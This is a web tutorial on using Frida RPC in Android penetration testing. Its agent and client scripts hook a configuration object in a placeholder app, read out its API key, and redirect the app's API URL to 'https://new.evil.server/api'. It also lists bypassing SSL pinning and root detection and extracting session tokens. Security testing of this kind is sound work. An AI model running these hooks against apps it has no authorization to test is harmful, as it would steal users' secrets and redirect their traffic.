Android App Penetration Testing & Frida Hooks

Mastering Frida RPC: Dynamic Method Invocation and Object Manipulation for Android Pen Testing

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction: Unlocking Android Apps with Frida RPC

Frida is an indispensable dynamic instrumentation toolkit for security researchers and penetration testers. While basic hooking allows us to intercept and modify function calls, Frida’s Remote Procedure Call (RPC) capabilities elevate its power, enabling seamless two-way communication between your Python or JavaScript client and the injected Frida agent within the target Android application. This powerful feature allows for dynamic method invocation, object manipulation, and highly sophisticated data exfiltration, making it a cornerstone for advanced Android penetration testing.

This article will delve deep into mastering Frida RPC, guiding you through setting up your environment, understanding core RPC concepts, performing dynamic method invocation, and manipulating in-memory objects to extract sensitive data. We’ll provide practical, expert-level examples to arm you with the skills to confidently interact with and analyze Android applications at runtime.

Prerequisites and Setup

Before we dive into the intricacies of Frida RPC, ensure you have the following setup:

  • An Android device or emulator (rooted is preferred for full access, though non-rooted can still work with specific APKs).
  • ADB (Android Debug Bridge) installed and configured on your host machine.
  • Python 3 and pip installed.
  • Frida-tools installed via pip: pip install frida-tools
  • Frida server downloaded for your Android device’s architecture (ARM, ARM64, x86, x86_64) from Frida Releases.

Setting Up Frida Server on Android

1. Push the Frida server to your device:

adb push /path/to/frida-server /data/local/tmp/

2. Set execute permissions and run it:

adb shell "chmod 755 /data/local/tmp/frida-server"adb shell "/data/local/tmp/frida-server &"

3. Verify Frida is running and can list processes:

frida-ps -U

Understanding Frida RPC

Frida RPC works by exposing specific JavaScript functions from your injected agent script as callable methods to the Frida client. The client can then invoke these methods, pass arguments, and receive return values, effectively bridging the gap between your control script and the application’s runtime environment. This is crucial for scenarios where you need to query application state, invoke complex internal methods, or retrieve large amounts of data without constantly injecting new hooks.

Basic RPC Communication: The Agent’s Exports

To expose functions for RPC, your Frida agent JavaScript must define an rpc.exports object. Each property of this object becomes an RPC-callable method.

Frida Agent (agent.js)

rpc.exports = {  hello: function () {    return "Hello from Frida RPC!";  },  add: function (a, b) {    return a + b;  },  getAppName: function() {    var appName = Java.use('android.app.ActivityThread').currentApplication().getApplicationInfo().loadLabel(Java.use('android.app.ActivityThread').currentApplication().getPackageManager()).toString();    return appName;  }};

Frida Client (client.py)

import fridaimport sysdef on_message(message, data):    print(f"[+] Message: {message}")device = frida.get_usb_device(timeout=10)pid = device.spawn(["com.example.yourtargetapp"])session = device.attach(pid)with open("agent.js", "r") as f:    script = session.create_script(f.read())script.on('message', on_message)script.load()# Invoke RPC methodsprint(f"RPC Call: {script.exports.hello()}")print(f"RPC Call: {script.exports.add(5, 3)}")print(f"RPC Call: {script.exports.get_app_name()}")device.resume(pid)sys.stdin.read()session.detach()

In this example, hello, add, and getAppName are exposed. The Python client can directly call these as script.exports.hello(), etc.

Dynamic Method Invocation

One of the most powerful aspects of Frida RPC is the ability to dynamically invoke methods on Android classes or objects at runtime, even if they aren’t directly exposed via the application’s public API. This is invaluable for bypassing security checks, triggering hidden features, or understanding internal logic.

Example: Invoking a Private Method

Let’s assume a target application has a private utility method like com.example.app.Utils.doSecretStuff(String secret).

Frida Agent (agent.js)

rpc.exports = {  callSecretStuff: function (message) {    var Utils = Java.use('com.example.app.Utils');    try {      // Create an instance if it's not a static method, or if context is needed      // var utilsInstance = Utils.$new();      // Use $new() for constructor arguments if needed      // Example: var utilsInstance = Utils.$new(someArg);      // For static methods, simply call directly on the class      var result = Utils.doSecretStuff(message);      return "Method invoked successfully. Result: " + result;    } catch (e) {      return "Error invoking method: " + e.message;    }  },  // Handle method overloads (if needed, example below)  callOverloadedMethod: function(arg) {    var TargetClass = Java.use('com.example.app.TargetClass');    if (typeof arg === 'string') {      return TargetClass.someMethod.overload('java.lang.String').call(TargetClass.$new(), arg);    } else if (typeof arg === 'number') {      return TargetClass.someMethod.overload('int').call(TargetClass.$new(), arg);    }    return "No matching overload found";  }};

Notice the use of overload() for methods with the same name but different signatures.

Frida Client (client.py)

# ... (frida setup as before)print(f"Attempting to call secret stuff: {script.exports.call_secret_stuff('MyHiddenParameter')}")# Example for overloaded methodprint(f"Calling overloaded method with string: {script.exports.call_overloaded_method('Hello')}")print(f"Calling overloaded method with int: {script.exports.call_overloaded_method(123)}")# ... (resume and detach)

Object Manipulation and Data Exfiltration

RPC truly shines when you need to interact with in-memory objects. You can intercept object creation, capture references, modify their internal state, and exfiltrate sensitive data directly to your client.

Example: Extracting API Keys from a Configuration Object

Consider an application that stores an API key in a com.example.app.Config object, initialized during startup.

Frida Agent (agent.js)

var configInstance = null;Java.perform(function() {  var Config = Java.use('com.example.app.Config');  Config.$init.implementation = function () {    this.$init();    configInstance = this; // Store a reference to the created instance    console.log("[+] Config object initialized and captured.");  };});rpc.exports = {  getApiKey: function () {    if (configInstance !== null) {      try {        // Assuming getApiKey() method exists on Config object        var apiKey = configInstance.getApiKey();        return apiKey.toString();      } catch (e) {        return "Error getting API key: " + e.message;      }    }    return "Config object not yet captured or API key not found.";  },  modifyApiUrl: function(newUrl) {    if (configInstance !== null) {      try {        // Assuming setApiUrl(String) method exists        configInstance.setApiUrl(newUrl);        return "API URL modified to: " + newUrl;      } catch (e) {        return "Error modifying API URL: " + e.message;      }    }    return "Config object not captured.";  }};

In this agent, we hook the constructor of Config to get a live reference to its instance. Then, RPC methods are exposed to read and modify its properties.

Frida Client (client.py)

# ... (frida setup as before)print("[+] Waiting for application to initialize Config object...")# You might need to add a delay or wait for a specific message from the agent# For demonstration, let's assume Config is initialized shortly after app launchimport time; time.sleep(5) # Give the app some time to initialize# Exfiltrate the API keyprint(f"Exfiltrated API Key: {script.exports.get_api_key()}")# Modify the API URL and verify (if the app interacts with it later)print(f"Modifying API URL: {script.exports.modify_api_url('https://new.evil.server/api')}")# ... (resume and detach)

Advanced RPC Considerations

  • Asynchronous Calls: For operations that take time, RPC methods can return Promises in JavaScript, which the Python client can await.
  • Complex Data Types: Frida automatically handles serialization/deserialization of basic types, arrays, and even JavaScript objects to Python dictionaries. For complex Java objects, you’ll need to extract their primitive fields within the agent before sending them over RPC.
  • Event-Driven Communication: You can use send() from the agent and script.on('message', ...) on the client to send messages and data back to the client asynchronously, without the client explicitly requesting it. This is useful for real-time logging or event notifications.

Practical Use Cases in Penetration Testing

  • Bypassing Security Controls: Dynamically invoke methods to disable root detection, SSL pinning, or tamper detection.
  • Extracting Runtime Secrets: Retrieve API keys, encryption keys, user tokens, or session IDs stored in memory.
  • Modifying Application Behavior: Change application settings, alter server endpoints, or inject custom data for testing edge cases.
  • Exploiting Logic Flaws: Call internal methods with arbitrary parameters to trigger vulnerabilities or bypass authorization checks.

Conclusion

Frida RPC transforms static analysis into dynamic, interactive exploration. By mastering dynamic method invocation and object manipulation through RPC, you gain unparalleled control over Android applications at runtime. This capability moves beyond simple hooking, allowing you to build sophisticated tools for deep introspection, automated data exfiltration, and comprehensive security vulnerability assessment. Incorporate Frida RPC into your Android penetration testing arsenal, and unlock a new level of insight and control.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner